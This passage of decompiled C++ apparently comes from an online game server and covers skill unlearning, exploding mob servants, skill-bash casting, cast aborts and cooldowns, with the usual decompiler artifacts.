"ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Try to use lot 0 item", 0) ) { v19 = ItemDataBox::operator__(&itemdatabox, *netcmd); netcmd = (unsigned __int16 *)v19; v20 = v19 && v19->data; if ( AssertClass::operator__( &shineassert, v20, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { *((_WORD *)v5 + 2) = 1795; v21 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v21, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6) ) { v22 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v4, &gpp); } } else { UseEffect::UseItemNormal::uib_AfterCast( &ui_SkillErase, (#440 *)v4, (ItemBag *)v4 + 8892, (ItemDataBox::ItemDataBoxIndex *)netcmd, *((_BYTE *)v6 + 2)); v23 = *((_WORD *)v4 + 2); LOWORD(netcmd) = *(unsigned __int16 *)((char *)v6 + 3); *((_WORD *)v4 + 46093) = MemoryQueue::mq_Store( &queue_skillerase, v23, (MemoryQueueSkillErase *)&netcmd); } goto LABEL_34; } *((_WORD *)v5 + 2) = 1795; } else { *((_WORD *)v5 + 2) = 1794; } v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6) ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v4, &gpp); } LABEL_34: v27 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00511390) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 int v3; // ebp@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // esi@3 _iobuf *v7; // eax@5 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 int v10; // eax@9 unsigned int v11; // ecx@9 char *v12; // ecx@9 char *v13; // ST04_4@9 DebugLogging *v14; // eax@9 DebugLogging *v15; // eax@9 char *v16; // edi@10 ZoneBaseSession *v17; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 46093); if ( v2 < 0x80u && (v3 = 4 * v2 + 306767344, 4 * v2 != -306767344) ) { if ( *((_WORD *)v1 + 2) == queue_skillerase.mq_Buffer[v2].handle ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18469; *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v16 + 1) = *((_WORD *)v1 + 2); *((_WORD *)v16 + 4) = *(_WORD *)(v3 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 10); } } else { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); v13 = v12; *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; v14 = DebugLogging::operator<<(&ChargedItemLog, "skillerase Null "); v15 = DebugLogging::operator<<(v14, v13); DebugLogging::operator<<(v15, &deb_LF); } } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "skillerase Null return "); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_598DE4); v9 = DebugLogging::operator<<(v8, v5); DebugLogging::operator<<(v9, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (005115D0) -------------------------------------------------------- #error "5115D0: undefined or illegal type '#331' (funcsize=56)" //----- (005116B0) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_UnLearn(CharacterPassiveList *this, unsigned __int16 skill) { CharacterPassiveList *v2; // ebp@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_UnLearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( skill >= 0x3E8u ) AssertClass::ac_AssertFail(&shineassert, "CharacterPassiveList::cpl_Store : Invalid passive", skill); if ( (unsigned __int8)(1 << skill % 8) & v2->cpl_Passive.bs_bitlist[skill / 8] && skill < v2->cpl_Passive.bs_maxbit ) v2->cpl_Passive.bs_bitlist[(unsigned int)skill >> 3] &= ~(1 << skill % 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); } //----- (005117D0) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall ShineObjectClass::ShineServant::ss_ExplosionReady(ShineObjectClass::ShineServant *this) { ShineObjectClass::ShineServant *v1; // esi@1 int v2; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineServant::ss_ExplosionReady"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineServant::ss_ExplosionReady"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)&v1->gap0[8924]; v1->ss_NextExplosion = clockwatch.cw_CurrTick + ((unsigned int)((unsigned int)(10 * *(_DWORD *)(v2 + 112)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); v1->ss_RestExplosion = *(_WORD *)(v2 + 108); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineServant::ss_ExplosionReady"); return (MobExplosionElement::MobExplosionBase *)&mobexplosealways; } //----- (00511860) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionBase::meb_Routine(MobExplosionElement::MobExplosionBase *this, ShineObjectClass::ShineServant *mob) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionBase::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Routine"); return (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } // 511860: inconsistent function type and number of purged bytes // 5FCBB0: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (005118B0) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionEnemy::meb_Routine(MobExplosionElement::MobExplosionEnemy *this, ShineObjectClass::ShineServant *mob) { MobExplosionElement::MobExplosionBase *v2; // edi@1 MobExplosionElement::MobExplosionBase *result; // eax@2 int v4; // ST08_4@3 int v5; // ST04_4@3 int v6; // eax@3 MobExplosionElement::MobExplosionBase *v7; // eax@4 MobExplosionElement::MobExplosionBase *v8; // esi@4 int v9; // [sp+24h] [bp+8h]@0 v2 = (MobExplosionElement::MobExplosionBase *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionEnemy::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (__thiscall **)(ShineObjectClass::ShineServant *))(*(_DWORD *)&mob->gap0[0] + 2388))(mob) ) { dword_1248E5E8 = (int)mob; alnse.alns_bp = 0; v4 = *(_DWORD *)(v9 + 96); v5 = *(_DWORD *)&mob->gap0[78]; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(mob, v6, v5, v4, 0, (int)&alnse, 0, 65535); if ( AxialListNearScan::alns_GetNumber(&alnse) <= 0 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); result = v2; } else { v7 = ShineObjectClass::ShineServant::ss_ExplosionReady(mob); --funcallanalizer.fca_stackpoint; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); result = v8; } } else { MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); result = (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } return result; } // 5118B0: inconsistent function type and number of purged bytes // 5FCBB0: using guessed type int (__stdcall **mobexplosebase)(int mob, int); // 1248E5E8: using guessed type int dword_1248E5E8; //----- (00511A10) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionTarget::meb_Routine(MobExplosionElement::MobExplosionTarget *this, ShineObjectClass::ShineServant *mob) { MobExplosionElement::MobExplosionBase *v2; // edi@1 int v3; // edx@1 int v5; // eax@3 int v6; // ebx@3 MobExplosionElement::MobExplosionBase *v7; // esi@9 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v9; // [sp+1Ch] [bp-4h]@1 int v10; // [sp+28h] [bp+8h]@0 v2 = (MobExplosionElement::MobExplosionBase *)this; _.fe_FunctionCode = "MobExplosionElement::MobExplosionTarget::meb_Routine"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionTarget::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionTarget::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&mob->gap0[0]; v9 = 0; if ( !(*(int (__thiscall **)(ShineObjectClass::ShineServant *))(v3 + 2388))(mob) ) { MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionTarget::meb_Routine"); return (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } v5 = (*(int (__thiscall **)(ShineObjectClass::ShineServant *))(*(_DWORD *)&mob->gap0[0] + 2852))(mob); v6 = v5; if ( !v5 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 768))(v5) || !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1136))(v6) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1136))(v6) == 3 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 40))(v6) ) { MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); } else { if ( ShineObjectClass::ShineObject::so_DistanceSquar((int)mob, v6) <= (unsigned int)(*(_DWORD *)(v10 + 96) * *(_DWORD *)(v10 + 96)) ) { v7 = ShineObjectClass::ShineServant::ss_ExplosionReady(mob); v9 = -1; FunctionEntarance::_FunctionEntarance(&_); return v7; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionTarget::meb_Routine"); return v2; } // 511A10: inconsistent function type and number of purged bytes // 5FCBB0: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (00511B90) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionAlways::meb_Routine(MobExplosionElement::MobExplosionAlways *this, ShineObjectClass::ShineServant *mob) { MobExplosionElement::MobExplosionBase *v2; // edi@1 #748 *misctable; // [sp+24h] [bp+8h]@0 v2 = (MobExplosionElement::MobExplosionBase *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionAlways::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionAlways::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&mob->gap0[0] + 2388))(mob) || mob->ss_RestExplosion <= 0 ) { LABEL_7: MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionAlways::meb_Routine"); return (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } if ( mob->ss_NextExplosion <= clockwatch.cw_CurrTick ) { if ( MobExplosionElement::MobExplosionBase::meb_Explosion(v2, mob, misctable) ) --mob->ss_RestExplosion; if ( mob->ss_RestExplosion <= 0 ) goto LABEL_7; mob->ss_NextExplosion = clockwatch.cw_CurrTick + ((unsigned int)((unsigned int)(10 * *(_DWORD *)(*(_DWORD *)&mob->gap0[8924] + 112)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionAlways::meb_Routine"); return v2; } // 511B90: inconsistent function type and number of purged bytes // 5FCBB0: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (00511CE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SkillShiftCancel(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SkillShiftCancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SkillShiftCancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_BYTE *)v1 + 7416) & 0x10 ) { puts("ShineObjectClass::ShinePlayer::sp_SkillShiftCancel : Cancel"); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2712))(v1); *((_BYTE *)v1 + 7416) &= 0xEFu; *((_DWORD *)v1 + 1793) = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SkillShiftCancel"); } //----- (00511DA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_old_skill_blast(void *this, int idx, int a3, int skill, int empower) { void *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_old_skill_blast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_old_skill_blast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::smo_old_skill_blast(v5, idx, a3, skill, empower); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_old_skill_blast"); } //----- (00511E50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting(void *this, int sklidx, int a3, int loc, int casting_millisec) { void *v5; // esi@1 int v6; // edx@1 int v7; // eax@1 unsigned int v8; // ecx@1 char *v9; // ecx@1 int v10; // ebx@1 int v11; // eax@1 int v12; // eax@2 unsigned int v13; // ecx@2 char *v14; // ecx@2 unsigned __int16 v15; // ax@2 int v16; // ecx@2 unsigned __int16 v17; // di@2 unsigned __int16 *v18; // edx@2 char *v19; // eax@2 int v20; // ebp@2 int v21; // eax@4 char *v22; // eax@5 int v23; // ST04_4@5 int v24; // eax@5 int v25; // eax@6 unsigned int v26; // ecx@6 char *v27; // ecx@6 int v28; // eax@6 unsigned __int16 v29; // ax@7 int v30; // ecx@7 int v31; // edx@7 char *v32; // eax@7 int v33; // ecx@7 int v34; // edi@7 int v35; // ebp@7 int v36; // ebx@7 int v37; // eax@9 char *v38; // eax@10 int v39; // ST04_4@10 int v40; // eax@10 int v41; // ecx@13 unsigned __int16 v42; // bx@13 unsigned __int16 v43; // bp@14 int v44; // edx@15 int v45; // eax@15 unsigned __int16 v46; // di@15 bool v47; // cf@15 int v48; // ecx@17 int v49; // ecx@19 int v50; // edx@20 int v51; // edx@21 int v52; // edx@24 PROTO_NC_BAT_SKILLBASH_HIT_OBJ_START_CMD alchat; // [sp+14h] [bp-18h]@2 int v54; // [sp+1Ah] [bp-12h]@7 unsigned __int16 v55; // [sp+1Eh] [bp-Eh]@7 int v56; // [sp+28h] [bp-4h]@1 int sklidxa; // [sp+30h] [bp+4h]@13 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)v5; v56 = 0; (*(void (__thiscall **)(void *, signed int))(v6 + 2728))(v5, 4045); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1352))(v5); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)v7; *((_DWORD *)v9 + 1) = *(_DWORD *)(v7 + 4); *((_DWORD *)v9 + 2) = *(_DWORD *)(v7 + 8); *((_DWORD *)v9 + 3) = *(_DWORD *)(v7 + 12); v9[16] = 0; ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v5 + 7172); v10 = sklidx; v11 = *(_DWORD *)v5; *((_DWORD *)v5 + 1798) = sklidx; *((_WORD *)v5 + 3588) = **(_WORD **)(sklidx + 4); if ( a3 ) { v12 = (*(int (__thiscall **)(void *))(v11 + 1352))(v5); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)v12; *((_DWORD *)v14 + 1) = *(_DWORD *)(v12 + 4); *((_DWORD *)v14 + 2) = *(_DWORD *)(v12 + 8); *((_DWORD *)v14 + 3) = *(_DWORD *)(v12 + 12); v14[16] = 0; *((_DWORD *)v5 + 1795) = a3; v15 = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); v16 = *((_DWORD *)v5 + 1798); v17 = v15; *((_WORD *)v5 + 3715) = v15; v18 = *(unsigned __int16 **)(v16 + 4); LOWORD(v16) = *(_WORD *)(a3 + 4); alchat.skill = *v18; v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9294; alchat.targetobj = v16; v20 = *(_DWORD *)&alchat; v19 += 2; *(_DWORD *)v19 = *(_DWORD *)&alchat; *((_WORD *)v19 + 2) = v17; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v5, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_BlastA : Packet Too Long", 8); } v22 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9295; *((_WORD *)v22 + 1) = *((_WORD *)v5 + 2); v22 += 4; *(_DWORD *)v22 = v20; *((_WORD *)v22 + 2) = v17; AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&alchat, &gpp, 10); v23 = *(_DWORD *)((char *)v5 + 78); LOBYTE(v56) = 1; v24 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v5, v24, v23, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v56) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&alchat); } else { v25 = (*(int (__thiscall **)(void *))(v11 + 1352))(v5); v26 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v26; v27 = (char *)&namestring + 256 * v26; *(_DWORD *)v27 = *(_DWORD *)v25; *((_DWORD *)v27 + 1) = *(_DWORD *)(v25 + 4); *((_DWORD *)v27 + 2) = *(_DWORD *)(v25 + 8); v28 = *(_DWORD *)(v25 + 12); v27[16] = 0; *((_DWORD *)v27 + 3) = v28; if ( !loc ) { (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v5 + 2728))(v5, 4043); goto LABEL_26; } *((_DWORD *)v5 + 1796) = *(_DWORD *)loc; *((_DWORD *)v5 + 1797) = *(_DWORD *)(loc + 4); v29 = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); v30 = *((_DWORD *)v5 + 1798); *((_WORD *)v5 + 3715) = v29; LOWORD(v30) = **(_WORD **)(v30 + 4); v31 = *(_DWORD *)loc; v55 = v29; v32 = gpp.pp_Buffer; alchat.skill = v30; v33 = *(_DWORD *)(loc + 4); *(_WORD *)gpp.pp_Buffer = 9296; *(_DWORD *)&alchat.targetobj = v31; v34 = *(_DWORD *)&alchat; v54 = v33; v35 = *(_DWORD *)&alchat.index; v36 = *(_DWORD *)&alchat.index; v32 += 2; *(_DWORD *)v32 = *(_DWORD *)&alchat; *((_DWORD *)v32 + 1) = v35; *((_DWORD *)v32 + 2) = v36; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v37 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v37 + 12))(v37, v5, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_BlastA : Packet Too Long", 14); } v38 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9297; *((_WORD *)v38 + 1) = *((_WORD *)v5 + 2); v38 += 4; *(_DWORD *)v38 = v34; *((_DWORD *)v38 + 1) = v35; *((_DWORD *)v38 + 2) = v36; AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&alchat, &gpp, 16); v39 = *(_DWORD *)((char *)v5 + 78); LOBYTE(v56) = 2; v40 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v5, v40, v39, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v56) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&alchat); v10 = sklidx; } *((_DWORD *)v5 + 1798) = v10; *((_WORD *)v5 + 3588) = **(_WORD **)(v10 + 4); if ( casting_millisec < 0 ) casting_millisec = *(_DWORD *)(*(_DWORD *)(v10 + 4) + 191); v41 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1304))(v5); v42 = *(_WORD *)(*(_DWORD *)(v41 + 3488) + 12 * *(_WORD *)(v41 + 3494) + 4); for ( sklidxa = v41; ; v41 = sklidxa ) { v43 = *(_WORD *)(v41 + 3484); if ( v42 >= v43 ) break; v44 = *(_DWORD *)(v41 + 3488); v45 = v42; v46 = v42; v47 = v42 < v43; v42 = *(_WORD *)(v44 + 12 * v42 + 4); if ( v47 && *(_BYTE *)(v44 + 12 * v45 + 8) ) v48 = *(_DWORD *)(v44 + 12 * v45); else v48 = 0; v49 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v48 + 4)); if ( v46 < v43 && (v50 = v44 + 12 * v45, *(_BYTE *)(v50 + 8)) ) v51 = *(_DWORD *)v50; else v51 = 0; casting_millisec += (*(int (__stdcall **)(int))(*(_DWORD *)v49 + 24))(v51); } v52 = *(_DWORD *)v5; *((_DWORD *)v5 + 1793) = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(10 * casting_millisec * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * casting_millisec * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); (*(void (__thiscall **)(void *))(v52 + 2660))(v5); LABEL_26: --funcallanalizer.fca_stackpoint; v56 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting"); } //----- (005122F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 signed int v5; // [sp-4h] [bp-1Ch]@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( **((_BYTE **)v4 + 929) == 6 ) { v5 = 8425; LABEL_8: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 9, 69, v5); goto LABEL_9; } if ( !(_S16_5 & 1) ) { _S16_5 |= 1u; cmc_92.cmc_AllowMode = 4; atexit(_E17_16); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_92.cmc_AllowMode ) { ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD(v4, netcmd, len, handle); v5 = 8424; goto LABEL_8; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 9, 69, 8426); LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ"); } //----- (00512420) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet(void *this) { void *v1; // esi@1 int v2; // ebx@1 char v3; // al@1 char result; // al@2 unsigned __int16 v5; // bp@3 unsigned __int16 v6; // bx@4 int v7; // edx@5 int v8; // eax@5 unsigned __int16 v9; // di@5 bool v10; // cf@5 int v11; // ecx@7 int v12; // ecx@9 int v13; // edx@10 int v14; // edx@11 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; v3 = *((_BYTE *)v1 + 7416); if ( v3 & 0x10 ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); result = 0; } else { *((_BYTE *)v1 + 7416) = v3 & 0xBF; v5 = 